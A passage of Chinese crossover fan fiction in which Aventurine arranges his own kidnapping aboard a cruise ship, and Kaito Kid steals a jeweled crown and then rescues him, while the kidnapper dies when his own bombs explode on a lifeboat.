“原来这里是露天的,还可以吹一吹海风, ”铃木园子介绍道, “不过伯父他觉得基德可能会坐直升机从上方潜伏下来, 所以又重新设计了一下、直接封死了。” 顶层的空间很大,有绿化有水池,加上穹顶好像是个大型的温室一般,维护气温湿度的机器不停的转着,这谁看了不说一句财大气粗? “好漂亮啊!” 这是毛利兰的第一句话,所有的宝石展品并没有孤零零的摆着,展柜都设立在大片绿植附近,有各色花草的称托、展柜里摆放的珠宝都更有生机和活力了。 黑羽快斗快速扫视着四周,那些绿植和展柜下应该都是防盗装置吧?不过这些都难不住他的! 砂金倒是锁定了一个方向, 迈步向那走去…… 四四方方的玻璃里关着一个有些变型了的圆环头冠,头冠正中央则镶嵌着一块不规则的绿色宝石, 展柜前的介绍牌上写着——幸之冠,主要由银与砂金石(又名海洋石、东陵玉等)组成,其花纹和设计风格源自…… 后面一长串的文字没再被砂金看到眼里,只要看到那块宝石也就足够了——这正是砂金所遗失的基石碎片之一。 他果然没感觉错……砂金想,他之前捕捉到的那一丝气息,应当就是运输展品时延路所留下的残留,也不知道为什么…… 明明面前这块基石并不大,气息却格外的浓郁厚重,难道是因为时间吗?砂金估算了一下, 这块基石至少比他先到这个世界三百年, 久到它都成了藏件艺术品了。 伸出手, 砂金刚想扶住玻璃再近一点观察…… “砂金先生!”铃木园子连忙制止,“玻璃罩上都是连接着安保系统的,这个不能摸。” “啊,抱歉,”砂金收回手退后两步,“是我有些冒犯了。” 遗失的太久,想把基石带回去也成了个难事,铃木家并不缺钱、钞能力这次不怎么好用了,但还有别的法子不是吗?砂金看了眼“工藤新一”,他是不擅长偷盗、但有人是这方面的行家, 专业的事,当然要交给专业的人去做。 …… 参观一事事了,几人理所应当的告了别——铃木园子怎么说也是铃木家的千金,大场合下不好缺席,能专门抽出空来找毛利兰几人一起游玩已是对朋友们很是看重了。 铃木园子告别的时候都不忘吐槽一下,她真不喜欢和一些有点钱就自大、看着她跟看囊中之物一样、都不知道自己算个什么东西的男人们接触, 但铃木园子还是去了——不是妥协,而是园子觉得在她姐姐不方便放下礼仪的时候,她能帮她姐姐把那些不长眼也不长脑子的臭男人们骂回去。 “铃木小姐和她姐姐的感情可真好啊,”砂金感叹着,“令人艳羡。” 黑羽快斗为了计划盗宝行动、找了个借口开溜,现在砂金停在自己的房间前和毛利兰寒暄着。 “柯南可以替我去一眼爸爸他好点了吗?”毛利兰也找理由想支开柯南,“我还有些事情……想和砂金先生商量一下。” “我……”柯南一点都不想走,有什么话是他工藤新一不能听的! “伯劳,”砂金笑眯眯地截断了柯南的反抗,“小孩子一个人不安全,你带着柯南一起去找毛利先生吧。” “明白。” 柯南领口一紧,被人拎了起来,存在感并不高的杀手先生像个幽灵一样、飞快飘走,完全不留给柯南反抗的机会, 柯南在风中凌乱——把他放下来啊,他会自己走! 这下,就只剩砂金和毛利兰两个人了。 又看了看无人的四周、毛利兰有点紧张地向砂金问道,“砂金先生!既然已然发现基德了,那我们下一步该怎么做……应该要告诉铃木伯父他们吧?” “我的建议是暂时别说,”砂金摸摸下巴道,“以往那么多次,铃木老先生都没抓住基德,这次提前告诉他工藤新一就是基德假扮的话……也只会是打草惊蛇吧?” 毛利兰尴尬一笑,这么说来、铃木伯父他们好像的确有点派不上用场的样子。 “不过我们这不是还在船上吗?就算基德得手了、他也不能马上逃走,他最后大概率还是会用工藤新一的身份下船的,”砂金看似有理有据地说道,“我们可以到时提前联系警方在港口蹲守、布下陷阱,” “船上船下联手,抓他个措不及防!” “珠宝的事也不用担心,”砂金显得很有把控,“到时抓住基德,被他偷走的东西不也就找回来了吗?” 听起来确实是个可行的计划,毛利兰点了点头。最后砂金还不忘叮嘱毛利兰在“工藤新一”的面前一定要保持自然、不要让怪盗基德有所察觉。 事情到这一步,该说的也就都说完了,砂金挥挥手告别了毛利兰,见毛利兰走远后……却突然勾唇笑了笑, “……都是些蠢货,” 这时的砂金脸上是显而易见的傲慢和鄙夷,他自言自语道,“我干嘛要配合警察去抓基德?等基德得手后,我找个机会敲晕他、再把人扔到海里,他偷回来的珠宝不就都是我的了吗?” “那些愚蠢的警察恐怕只会以为是基德察觉到了不对,自己逃跑了吧哈哈哈……”砂金很是得意于自己的黑吃黑计划,“宝珠让基德去偷,黑锅也让他去背,简直完美!” 金发异瞳的年轻人挂着张扬的笑容,随手推开了房间的门,走了进去, 而没过多久,307的房门再次被敲响,砂金都没走远、又拐回来开门。 “是毛利小姐还……呃!” 黑棍落下,砂金还没来得及看清门口的人是谁,就突然脑后一痛、身体重重地砸到了地上,阴影里偷听的人露出了阴险的笑容、看向似乎陷入了昏迷的砂金, “谁才是蠢货呢?”黑影将人拖进了307的房间里,关死了门, “呵呵,可真是好运啊……” …… “什么?你说砂金先生失踪了——?!” 第二日的一早,毛利兰得到了这一爆炸性的消息,毛利兰紧张地询问着找上来的伯劳,“是什么时候发现的?还有别的什么信息吗……” 客房里,喝得醉醺醺的毛利小五郎偏头,眯了下眼,“那小子在船上失踪了?这不应该啊……”船就这么大的空间,丢也不该丢在哪里去, “进屋慢慢说,嗝儿!”毛利小五郎努力克服生理反应、让自己清醒一点,“慢慢说,说说看到底是怎么回事。” 柯南早餐没心情吃了,也凑过来打算听听发生了什么。 被毛利兰迎进屋的伯劳点点头,脸上却平淡地让人看不出来任何的心急如焚,继续用冷静的声音说道:“昨天我听砂金的命令,带着柯南来找毛利先生。” 这事毛利小五郎知道,“然后呢?” “然后我和砂金两个人分开了,”伯劳道,“完成砂金的任务后,我重新回到306房间待命,” 306是伯劳和砂金暂居的游轮客房。 “我等了一晚,没有等到砂金回来,所以我认为他失踪了。” 柯南皱眉沉思,伯劳的话有些生硬、但不防碍他听懂大致的过程——昨晚和毛利兰分开后的砂金一夜未归。 可在船上……不回房间休息、还能去哪里? 第115章 再喜欢看海, 也不能一看一夜啊! “这……”毛利小五郎清醒多了,又追问道,“你一直跟在那小子身边, 知道船上有哪些人和他结过仇吗?” 失踪并不满二十四小时,但这不意味着安全——船上并没有多少地方可以藏人,最担心的结果是砂金失足落海…… 或是有人故意谋害。 让一个人消失在船上的最有效的办法正是弃入大海, 而在游轮上落海、与死亡并没有区别。 就算落海人幸运的没被巨型游轮行驶时掀起的巨浪吞噬、没从高处砸落海面而陷入昏迷、没被船桨发动机剿成碎块、没体力透支沉入海底……浸泡在海水里的一夜低温都足以致命。 所以, 毛利小五郎干脆从最坏的有人加害的可能性上进行思考。 至于报警……现在报警也没用啊!等船调头回去、还是等警方直升机开来都是需要时间的, 而且现在还不能完全肯定砂金就是失踪了,再糟糕的设想也只是设想,所以他们只能先分析着可疑的人员、以便确认不是过分担忧后快速锁定嫌疑人。 伯劳歪头想了想, 想了好半天, 想到毛利兰忍不住想催促他的时候又道,“我不知道。” 伯劳对情绪的感知并没有那么敏感,他分不太出来哪些人和砂金结过仇。 而且他的主人这么好,每个人都会想要的,所以不可能有仇家,伯劳自我肯定地想到,只有想取代他位置的竞争者…… 啊,对了, 想通了什么的伯劳向毛利小五郎道,“是想要砂金的人抢走了他,所有人都想要。”一定是这样的。 毛利小五郎:“哈?” “……嗯,”毛利兰努力思考,“你是想说, 可能是喜欢砂金先生的人绑架了他?” 伯劳很认真地重申,“不是喜欢, 是想要。” 平时伯劳不喜欢说话、存在感也不高,反而没人注意到他的违和,等伯劳单独站出来后,谁都能发现他的不对。 “别管什么喜不喜欢、想不想要的了,恶意也好,追求者也行,”毛利小五郎没被伯劳带歪关注点,“有可能对砂金下手的人有谁?” 伯劳重复:“所有人。” 这简直就是无效沟通啊!柯南眉头拧成一团,伯劳完全指望不上、只能够自己了,于是柯南试探性地问道:“有没有可能……是那位上村先生?” 柯南和毛利兰不像伯劳那样时刻跟在砂金身后,但就柯南的观察而言, 砂金和上村圭佑之间绝对算得上是“结仇”了。 想到铃木园子对上村圭佑算不上好的评价,毛利兰也是皱眉,“那我们要不要去找那位先生问一问……” “咚咚咚!” 又有新的来客了,毛利兰有些意外“工藤新一”竟然会在这个时候来找她。 “小兰!要一起去甲板看海吗,今天外面来了好多海鸥……啊,”工藤新一的声音一弱,看着屋里神色都不怎么好看的几人,奇怪地问道,“发生什么事了吗?” “怎么脸色都这么难看……” 毛利兰想拒绝面前这个假工藤新一的约会邀请,她现在更关心砂金的安全,“砂金先生失踪了,一夜未归……我们在想他会去哪了。” “啊,这个啊,”工藤新一突然笑了一下,“你们别太担心了,只是个误会而已啦,” 说罢,工藤新一掏出手机打了个电话,“喂,砂金先生……你昨天没回去睡让大家误会了,还以为你失踪了呢,你来解释一下吧。” 令人意外的是,电话那头还真传来了砂金的声音, [抱歉让诸位担忧了,]砂金在那头轻笑了两声,[昨晚我在外面玩儿的太晚,又忘了带房卡,怕敲门打扰到伯劳……正好又遇到工藤君,就先到工藤君屋内休息了。 ] [还有其他事吗? ]电话里传出了打哈欠的声音,[再次抱歉,我有些太困了……] “看来没什么事啊,”毛利小五郎一下子放松下来,砂金的哈欠声带着本就醉宿的毛利小五郎也困了,“那就挂了,我也休息休息。” [好,那伯劳你回房间等我就好,不要乱跑。 ] 伯劳点点头,丢下被他打扰的毛利一家、有些不怎么讲礼貌地转身就走,他要回房间继续等自己的主人。 “好了,问题解决。”工藤新一挂了电话,又向毛利兰问道,“现在要一起去喂海鸥吗?” 毛利兰表情依旧不太自然:“……不了,我还是先照顾下爸爸吧,他总是把自己喝得烂醉。” 毛利小五郎切了一声,但没反驳,他当然不想看着自家女儿被猪拱了。 而等“工藤新一”走后,柯南张张嘴想对毛利小五郎说…… “爸爸,报警吧。”柯南扭头看向毛利兰,没想到毛利兰竟然抢先一步把他想说的话说了出来,毛利兰十分肯定地道, “不是误会,砂金先生他一定是出事了!” 告之过她不要打草惊蛇的砂金先生,是绝对不可能有意去基德那休息上一晚的! …… 身份……暴露了。 刚离开毛利兰那不远的黑羽快斗脸色微变,他不知道他哪里露出了马脚、但他百分之一万的肯定、至少现在的毛利兰知道他不是工藤新一了! 不然得知“砂金失踪”这种大事,毛利兰为什么不来找“工藤新一”商讨解决办法? 因为毛利兰知道“工藤新一”不是“工藤新一”,而是……怪盗基德。 “扑克脸扑克脸,” 黑羽快斗小声念叨着,脚下却越走越快,不愧是让红之魔女给他发来警告的一次行动,果真是困难重重啊! 而黑羽快斗,他不仅知道砂金失踪了,他还知道砂金是被绑架了…… …… 清晨,醒得很早的黑羽快斗撑了撑懒腰,准备为新一天的窃石计划而努力,结果刚刚打开门,一张纸条从门缝里掉落。 这是……黑羽快斗盯着纸条边缘微深的暗红色痕迹心生警觉,随后戴上手套才打开了纸条、展成了一封简短但信息量爆炸的信, [我知道你是怪盗基德,我也知道你从不杀人,那要是有人因你而死呢? ] 染血的痕迹好像是在验证写信之人的话, [砂金在我手上,想要他平安无事、就拿幸之冠找我交换——! ] 黑羽快斗表情裂开了一瞬——写信这人,是白痴吗? !绑架砂金那种张扬的家伙,要不了多久就会被别人发现的! 还是说写信人这是想让他帮忙去扫尾? ! 现在也来不及追思写信人是谁了,黑羽快斗马上开始调整着声线模仿出砂金的声音、开始录制各种如果有人在找砂金,砂金该怎么回复对方的对话, 黑羽快斗必须延缓他人发现砂金失踪的时间! 不然一旦打草惊蛇,别说他能不能弄到幸之冠了,他更怕砂金会被撕票啊! …… 结果并不太妙,他还是被人发现身份了,所以只能启用B计划了…… 黑羽快斗的步调逐渐跑动起来,没有其他时间再去计划一个周全的窃石计划了,他甚至打算打破自己以往的习惯, 无视预告函上的时间、提前开始行动! 再不快一点,黑羽快斗怕毛利兰那边报警、引来警察或是让现场看守更严、阻碍他去窃取幸之冠…… 至于和毛利兰他们坦言合作? 黑羽快斗和毛利兰他们并不熟悉,又有用假录音欺骗他们的前科,一向独惯了的黑羽快斗并不认为他们会很快地信任他,说不定还会以为是他绑架了砂金, 要是早知道毛利兰发现他是基德了,黑羽快斗绝对不会去弄什么录音,结果给自己挖了个坑……真是倒霉,黑羽快斗暗骂了一声, 而现在每浪费一秒的时间,砂金的危险也就会越大! —————————— “这位客人,” 展厅门口的保安上前拦住了脚步匆匆的少年,有没有铃木园子这个通行证带路的区别真的很大,“前方还未开放,请不要擅闯。” “别担心,” 少年人朝保安笑了笑,手抓向了自己的领结,“不是擅闯……” 领带被猛得抽开,突如其来的白烟呛的保安咳嗽着对手中的对讲机吼道,“ B区有情况!咳……咳咳速来!” “只是,” 突然出现在展厅中央的白色身影静立在一处展柜的玻璃罩上方,警鸣声响彻了整个展区,天亮不久、还没熄灭的聚光灯纷纷打在了那道身影上, 不请自来的贵客在聚集而来的众人警惕的注视下,一手拎起纯白的斗篷展开、一手脱帽向众人行了一礼,姿态优雅地立于舞台之上、宣告道, “只是表演将要提前开演罢了,诸位。” 第116章 今天的船上很是热闹,安保人员四处奔波着,广播喇叭里也在不停播报着提醒众宾客不要随意走动、最好留宿在客房内等待的提示。 时不时还能听到“他在那里!”、“基德你别想跑!老夫这次一定要你好看!”、“你们让开别防碍抓捕!”等等的怒吼, 还有“啊!!基德大人看这里!”、“不准你们抓基德大人!”、“基德大人你是最棒的!”的尖叫呐喊声…… 侧耳听了听动静, 砂金被吵的有点脑子疼, 并且莫名联想到系统年终公开大会上, 那些就算身在遥远星球上加班, 也要见缝插针、疯狂摇旗打榜的公司员工们。 虽然很吵,但砂金意外的并不讨厌这种气氛——可能是因为每到这种时候,市场开拓部门的员工们总是最安静如鸡的那一个吧? 有那样一个顶层上司和领导人,在各部门齐集的情况下, 低调可以保命, 不然被敲闷棍拖下去暴揍一顿都是轻的。 不过说起来,这闷棍敲得还真是一点水平都没有……思绪回到现在,砂金仰头靠了靠背后的墙,吐槽着想到,光痛、但一点让人昏倒的欲望都没有, 绑架这种小事,上村圭佑一个成年人还没有上一个绑他的那个未成年大岛做的好。 没错,砂金是故意站在门口说出那一番话、再故意被上村圭佑绑架的——嚣张跋扈的人设故然有些老气俗套,但架不住这人设真的好用啊。 唯一的缺点可能就是有点招人恨了吧?砂金扭了扭被捆在背后的手腕,想让自己轻松一点…… “别想搞些小动作!” 砂金刚有点动作,一边趴在门板上听着外面动静的上村圭佑便恶狠狠地瞪了砂金一眼, “告诉你,基德要是不能像你说的那样把我的幸之冠拿回来,你就别想活了!” “呐, ”砂金撇了下嘴,“什么就都是你的了……” 真算起来, 那也是他的基石。 上村圭佑面目狰狞地吼回去:“那就是我的!” 要不是他那个蠢到家了的婆娘为了周转资金、错把幸之冠卖了出去,他的好运怎么可能会被带走?要是他的好运还在,又怎么可能一直在输、甚至输到破产? ! 上村圭佑固执地认为这一切都是因为他没了幸之冠而导致的,只要拿回它、他就可以把之前输掉的所有全部拿回来! 为此,他故意跑去了买主那边放了把火,想让那位买主忌惮“诅咒”的传言将幸之冠还回来。结果上村圭佑没想到铃木次郎吉半路截胡、把幸之冠又买走了。 后来上村圭佑好不容易找了上船的门路,花了大把的时间和功夫,甚至是借着铃木次郎吉改装顶层天台、招收工人的机会,隐瞒身份到船上干了好久的苦力,才提前在预定好了的房间里准备好了一些“小惊喜”, 结果“倒霉”再一次“眷顾”了上村圭佑——不知道从哪里来的一个有钱的败家子,硬是砸钱、就要住在他的邀请函上本已经定好了的那间307房间。 在上村圭佑一个落魄的入赘人渣与财大气粗的铃木二小姐朋友之间,工作人员没有意外地偏向了后者。 于是直到临开船了,打算入住的上村圭佑才从工作人员那知道、自己因为“员工的操作失误”而被换了房。 上村圭佑气地直接砸碎了工作人员送来的赔偿礼物。 砂金倒也不是有意和上村圭佑抢房间,而是铃木园子给他的邀请函上的306房在最里面,想让卡卡瓦夏、以及「砂金」和他住的近一些,不就只剩下隔壁307这一个选择了吗? 不过诸多不顺都不是阻碍,上村圭佑这不就又遇上“幸运”了吗? 原本上村圭佑是打算暗暗地跟在砂金身后,寻找机会潜入原本就应该是属于他的房间,然后把他之前藏在房间掏空床板下的东西拿走,接着去把幸之冠搞回到手上。 不料却让他偷听到了一个大秘密——“工藤新一”就是怪盗基德! 后来那个喜欢自言自语的狂妄小子的发言,更是给了上村圭佑启发, 对啊,他为什么要自己冒险去盗取幸之冠?让基德去不就好了?上村圭佑抑制不住嘴角的上扬,幸运、真是太幸运了! 而他打昏的那个混蛋小子……上村圭佑的本意是想拿回房间里的东西,顺便弄醒对方狠狠地报复一场、以报之前砂金的嘲讽之仇, 上村圭佑连刀子都握在手里、准备弄死对方找机会抛尸大海了,砂金的三两句话却打消了上村圭佑的念头。 …… “直接杀了我好像有点浪费吧,”金发异瞳的年轻人懒懒地开口,“难怪那么多人对你的评价都是蠢货……到手的把柄都不知道怎么用,这可不就是蠢吗?” “你——!” 被踩了痛脚的上村圭佑表情扭曲、暴跳如雷,明明他才是那个主宰对方生死的人、凭什么砂金还这么傲慢? ! “那你说说你有什么用?让我看看你为了活命……能说出什么花样!” “简单,”砂金动了动绑得结实的胳膊,“我的保镖明早看不见我的话一定会到处找我,从而惊动基德和毛利小五郎那位名侦探先生,” “到时你再想袭击有所防备了的工藤新一可不容易,毕竟他们没你这么蠢。” 上村圭佑脸皮猛的一抽,“就算惊动他们……你也别想让我再把你放走。” 不绑砂金不行,对方太防碍他来回进出307了;可放了砂金也不行,不然砂金要是向毛利小五郎和怪盗基德他们出卖他怎么办! 不在意上村圭佑的声音,砂金挑挑眉反问道,“想让基德帮你偷东西,你总得有点可以拿捏他的东西吧?” “比如,一条无辜受他牵连、有损他那受人追捧的怪盗形象的人命……” …… 刚好上村圭佑他这里有了个现成的“人质”,那就让他看看“美名”不少的怪盗基德会不会听话好了! 同样看不惯基德明明只是个小偷、却受了不少人的追捧,被砂金说动了的上村圭佑给“工藤新一”的房间塞去了纸条, 不听话也没关系……上村圭佑恶狠狠地想着,他还有后招! …… 听着外面的动静小了下去,猜测铃木次郎吉他们和基德应该是又换了追逐的战场,上村圭佑把307的门一锁,丢下砂金一人、出门再次查看情况, 总之这一次,上村圭佑对幸之冠势在必得! 第117章 “他往那边去了!” “笨蛋!那是个假人,追什么追啊?!” “万一是真的呢?” “别废话了,分头行动——!” …… 吵吵闹闹的大部队离开,走廊天花板上, 基德悄悄从遮掩身形的反光布后探了探头, 确认没有追兵后, 轻巧的落了地、没发出任何的声音。 这种追逐战……已经进行了一天了, 从天亮追到天黑, 基德无奈地推了推单边眼镜, 那些人没追累、他都要跑累了——铃木那老爷子也够拼的,直接冲刺在最前端是一点也不累啊! 而幸之冠…… 那当然到手了。 突然出现在手中的头冠被基德上下抛了抛,一翻手、就又消失不见,想他是谁、这不就是手到擒来的事吗? 接下来的问题就只剩下…… 基德抖抖斗蓬,再次消失在原地……他这么辛苦的跑了一整天,幸之冠被盗一事想必已经落到了那个绑架犯耳中,他现在该去接“人质”了。 …… 海风呼啸而过,夜晚的大海风势更大、完全撕破了白日里的壮阔风景,一片漆黑的海面海浪声翁鸣拍打着,仿佛有什么可怕的怪物正隐藏在水面之下。 风吹散了发丝,砂金静静地盯了一会儿大海,想着「砂金」要是没带卡卡瓦夏去休息、反而看到了现在这幅样子的大海,卡卡瓦夏可能就不觉得海有什么特别的了吧? 砂金很是悠闲的还有心思想别的事,上村圭佑咬了咬牙、等待得却很是焦急, 基德会来找他吗? “你是在找我吗?” 身后响起的声音让上村圭佑猛的扭头看去,就见一道纯白的身影像个幽灵一般静静地立在他身后不远处的栏杆上, 怪盗基德如约而至! 上村圭佑和怪盗基德没有约定交易的地点,但上村圭佑会出现在哪里……并不难猜——悬挂着救生艇的船侧甲板,自然是想逃离轮船的犯罪者的必选之地。 铃木次郎吉他们当然也不蠢, 也有派人专门守住救生艇,以防怪盗基德乘坐救生艇逃跑。 不过黑羽快斗之前担心这会不会又是那些以动物为代号的家伙为专门针对他而布下的陷阱,怕把一些不相关的人员也卷到他们的争斗之中, 所以在赴约之前专门把能引走的人都引走了,引不走的也都迷昏拖到了安全的地方。 毕竟动物园的那些杀手可是真的杀人不眨眼的,要是绑架犯和那些普通安保人员在甲板上撞到了一起,那些普通人必然会有生命危险。 但现在嘛…… “绑架犯……原来是你啊,”黑羽快斗扶了扶被大风刮得有点微晃的礼帽,心里放松了不少, 距他的观察和曾经的经验积累,上村圭佑并不像那个组织里的人。 现在发现此事与那个组织无关之后,黑羽快斗顿感压力小了不少。 “我们长话短说吧,”怪盗基德轻跃下栏杆,披风斗篷被高高扬起,“怎么样愿意放了人质?” 甲板这边是铃木次郎吉他们防守的“重地”,如果铃木次郎吉他们发现联系不上这边的看守、那群人很快就会拐回来此地, 所以时间急迫,他们没有多余的时间可以去浪费。 上村圭佑很明确自己的目标,“先把幸之冠给我!” “没问题,”基德看向上村圭佑脚边绑着的还在发呆的某人,“那人质先生不想说点什么吗?” “嗯?”砂金回神,“问我吗?” 基德:“……” 上村圭佑是绑架犯,基德是来救人的……结果砂金这个人质淡定得跟个局外人似的,要不是绳子还绑在砂金身上、基德都要怀疑这家伙是不是误入现场的路人了。 “没事,”砂金笑笑,“你们继续聊吧,不用在意我。” 基德:……他发现,他就多余来救砂金这么一趟的。 “把幸之冠放在地上!” 上村圭佑也知道时间不等人,等其他人到了、他和基德都落不了什么好。甚至是基德还有本事能逃跑,而他连跑都跑不动。 事已至此,似乎不应该再有什么意外会发生,基德将在月光下反着闪光的头冠轻轻放在甲板上,还退后了两步以示自己没有做什么手脚。 砂金看了眼头冠,又看向同样立于月光之中的白色怪盗,想到, 现场心最“简单”的……反而只有上村圭佑了吧? 下一秒,黑羽快斗半掩在礼帽阴影之下的神色剧变, “不要——!” 只见上村圭佑在基德放下头冠退后的那一瞬,猛然发狠、拽起身边的人质用力从甲板上推了下去, 为了方便上下救生艇而设计的矮栏杆没能拦住下坠的人体,而本应该吊着救生艇的位置上却是空无一物——矮栏杆外,正是汹涌的大海! 什么算计都在这一瞬间被黑羽快斗抛在脑后,上村圭佑看着白色的身影如同一道闪电一样紧追着下坠的身影而去。 “哈哈哈!”上村圭佑张狂的笑出声,快步去拿起幸之冠逃离了现场,“都去死吧……” 趁着基德去救人质的功夫,再也没有人能阻挡他带着幸之冠逃跑了! …… 该死的,黑羽快斗气急,他是真的不要命了吗? ! 钩索从袖口飞出,在栏杆上旋转几圈后牢牢地扣紧,极速展开的绳索猛然绷直, 紧追其后的基德终于赶上、抓住了下坠之人——砂金腰上也是一紧,被前来救他的人紧紧地拦腰按在怀里。 两个人顿时像是串在一根绳上的蚂蚱一样,晃晃悠悠地悬挂在游轮高高的船壁外侧,黑羽快斗甚至能感觉到海水浪花飞溅出来的水滴打在脸上的那种湿润感…… “疯子,”一手捞人、一手抓着钩索,黑羽快斗暗骂了一声,从牙缝里挤出他的质问,“你明明……是能自救的吧?!” 之前不知道也就算了,在知道绑架犯即是上村圭佑那种家伙之后,黑羽快斗不相信以“孔雀”的本事会连个脱身的法子都没有! 可偏偏,砂金就是没有任何的举动……黑羽快斗甚至可以肯定,他要是没有追下来、以砂金那个下落的状态,砂金绝对会任由自己落入大海! “朋友,你好像没什么资格这么说我吧,”没做挣扎的砂金感叹了一声,“你明明也是可以选择不来救我的。” 基德明知道砂金被绑架一事肯定没有那么简单,但他还是为了人质的生命安全、打破了自己以往的原则,提前行动; 基德明知道他一个人对上未知、甚至很可能是那个神秘组织成员的绑架犯会有危险,但仍然选择把看守保安之类的无关人员从现场引走或是迷昏,独自一个人前来赴约; 基德又在明知道上村圭佑那种人根本不该抓得住有着孔雀之名的砂金,砂金故意被绑一定另有所图之时,还是第一时间飞身下来捞人…… 砂金道,“你瞧,你明明什么都清楚,但你还是来了。” “那可不一样,”黑羽快斗马上反驳道,“在我的价值观中,生命永远胜过一切。” 所以知道阴谋众多又怎样? 黑羽快斗从来不会后悔自己踩进了别人的陷阱之中——他上几次当又死不了,但要万一因为他没上当、导致有人因他而丢了性命,那才会让黑羽快斗后悔。 与其说基德不聪明,所以才中了砂金的计,倒不必说是对方的道德水准太高了,才甘愿中计。 “所以啊,”砂金挑挑眉,“朋友……好人做不得,容易被道德绑架。” 基德这不就被砂金“绑架”成功了吗? 第118章 基德的道德标准是砂金一点点试出来的,从对方毫不迟疑地改变原计划进行盗宝行动、到上村圭佑带他到甲板上时无人阻拦的畅通无阻, 从各种细节之处都可以看出来对方有多在意普通人的安危, 基德没让除他之外的任何人承受任何的风险——不知道是不是单独行动久了的缘故,这位怪盗先生不怎么会依赖他人。 哪怕在资料中听说过怪盗基德和其他的犯罪分子与众不同,砂金也不得不承认,这家伙一点不像是个小偷, 也的确对得起那些粉丝的追捧和喜爱。 砂金不讨厌这样的人, 但可惜砂金并不会因此放过基德, 他赌对方肯定会再来救他,结果嘛、不必再进行赘述。 …… 海风吹着两人微微摇晃着, “你这家伙,到底想干什么, ”基德一边带着砂金往船上爬、一边忍不住吐槽道,“搞这一出难道就是为了确认我是个冤大头的老好人?” “等等……” 正在攀爬绳索的黑羽快斗一顿, 他的余光在波光粼粼的海面上捕捉到了一串涟漪和破浪声——一艘救生艇飞快地从轮船一侧驶入了大海, 驶入了更暗的海域。 黑羽快斗找到那艘消失的救生艇了,而开走那艇的人是…… 心跳突然错了两拍,意识什么了的黑羽快斗搂着砂金的手臂更紧了几分,黑羽快斗咽了咽唾沫,“……不会是我想的那样吧?” 在大海之中,一艘孤零零的救生艇其实并不安全——现在离岸的距离很远,救生艇不可能开回到岸边, 如果没有提前安排人来接应、救生艇上的人只有断水断粮活活耗死这一条路可走。 所以那人为什么还要冲进大海? 细思极恐,黑羽快斗是个聪明人,他能想到的原因无非是……待在游轮上会更不安全。 “不好意思、朋友, ”砂金笑容不变,“可能就是你想的那样呢~” “那家伙装了不少炸/弹上船, 而且还都是威力挺大的那种。” 307的床板下藏着的,全部都是炸/弹——上村圭佑自得的底牌也是这些。 “我想他是打算离开轮船之后就炸毁船体的吧,”砂金慢条斯理地把上村圭佑的所思所想道了出来,“突然沉没爆炸的船支会引来救援,然后他就可以趁乱混进搜救队和遇难人员里,带着幸之冠逃之夭夭,” “而你,怪盗基德——你将成为那个炸毁轮船的最佳背祸人选。” “……但他遇上了你,”基德突然反问砂金道,“你并不打算让他如愿,对吗?” 砂金点了点头,“的确如此,朋友。” 语音刚落, 爆炸发生, 然而黑羽快斗没感觉到热浪近在咫尺、反而是空气中拍打在脸上的水珠更甚。 轰得一声爆炸从海面上传来,刚刚才消失在黑羽快斗视野中的救生艇再次出现、可一瞬间又被火光吞没,骤亮的光芒让“白日”都临时了一瞬,波动的风推动着绳索上的两人又是一阵剧烈的晃动, 黑羽快斗克服强光的刺激再向那处看去之时…… 海面又归于了黑暗。 救生艇不见了……不,黑羽快斗僵住,应该是救生艇被爆炸撕成了碎片、又被大海静静的吞噬。 那艇上的人呢? 除去“死亡”,不可能再有其他结局了。 …… “……真是可怕,”基德维持着一张扑克脸说道,“一条人命,没了。” 能在这种时候开走救生艇的人,还能有谁? 上村圭佑死了。 那些炸/弹不知为何没有在游轮上爆炸,反而爆在了上村圭佑开走的救生艇上, 说不定按下起/爆/器时的上村圭佑还在大笑着自己如愿以偿,下一刻便听到倒计时的滴滴声响出现在自己的身边,恐惧爬上瞳孔,他的一生便在倒计时归零之时戛然而止, 好一个【窃石者必将坠入恐惧的深渊】,上村圭佑也是窃石者之一。 而能导致这一结果的“罪魁祸首”,又只能是…… “他的运气没我好,”砂金的表情从始至终都没变过,他微笑着道,“你看,如果你不来救我,而是先抓住他、那他就没有机会登上那艘死亡快艇了呢。” 砂金使了点小手段,趁上村圭佑丢下他一人出门时,砂金又把上村圭佑安好的小惊喜一一回收放到了救生艇上,最后由着不知情的上村圭佑主动将危险带离轮船, 这里还要感谢萩原研二和松田阵平两位警官的“兴趣教导”,复杂的炸/弹砂金是搞不定,但简单的挪个地方的拆装不成问题。 …… 原来是为了这个…… 心底的寒意悄无声息地爬上了躯体,黑羽快斗低头看了看还被他抱在怀里的“人质”——现在怀里的这个还面带微笑的家伙不像是人类了, 像洞察人心、循循善诱的狡狐,也像冰冷无情、心狠手辣的毒蛇,更像是将性命抛向坠落、寻求一瞬展翅的孔雀。 恐怕从砂金发现他的身份时,计划就已经开始了吧?黑羽快斗垂目想着,脑子转得飞快,说不定上村圭佑之前只是打算炸了展厅和游轮、自己去抢幸之冠的, 而砂金有意引着上村圭佑对自己、对怪盗基德下了手——砂金用那封绑架信彻底打乱了他原本的计划安排, 事先并不知道毛利兰已知晓他身份一事,也误导黑羽快斗做出了错误的选择。 这才使他在时间急迫、孤立无援、且又被不少人不停追捕的情况之下,无法一人去进行详尽仔细的调查,使他只跟被动地跟着砂金的安排行动。 砂金故意任由自己坠落,也只是为了将基德引来救他,最终给上村圭佑一个走向死亡的机会。 “值得吗。”黑羽快斗突然问。 把自己的性命当作推动计划中的重要一环,视结果高于自身……难道砂金就不怕自己失手吗? 如果想要解决掉炸/弹危机,明明还有更安全、更保险、而没那么极端的方式。 砂金回答,“有何不值?” 赢了皆大欢喜,输了…… 也未尝不可。 “赌桌之上,总有输赢,”砂金很是轻松的回答飘进了黑羽快斗的耳朵里,“朋友,你要知道……我已经赢了很多很多次了,就算输了那么一次也算不得亏。” 这个可怕的家伙…… 他明白为什么知道点内幕的很多人,都管孔雀叫“疯狂的赌徒”了,黑羽快斗想,那可不叫“输了那么一次”、那分明是“输尽所有”。 砂金的最恐怖之处不在于他对人心的无形操控,或者是施展阴谋诡计的狡诈难防,又或者是无视人命的冷血无情, 砂金拿自己的命,淡定自若地去赌上村圭佑自寻死路……他自己的性命在砂金看来都只是个随时可以抛上桌面、任其输掉的筹码而已。 结果高于一切——黑羽快斗无法认同这种价值观,他们是两类人。 “如果你觉得自己被骗了很不爽,”砂金还在火上浇油,笑眯眯地建议道,“你可以现在再把我丢下去。” “闭上嘴吧,混蛋赌徒。”黑羽快斗平复了一下动荡的情绪,带着砂金继续往上爬,“你知道我不可能那么做的。” 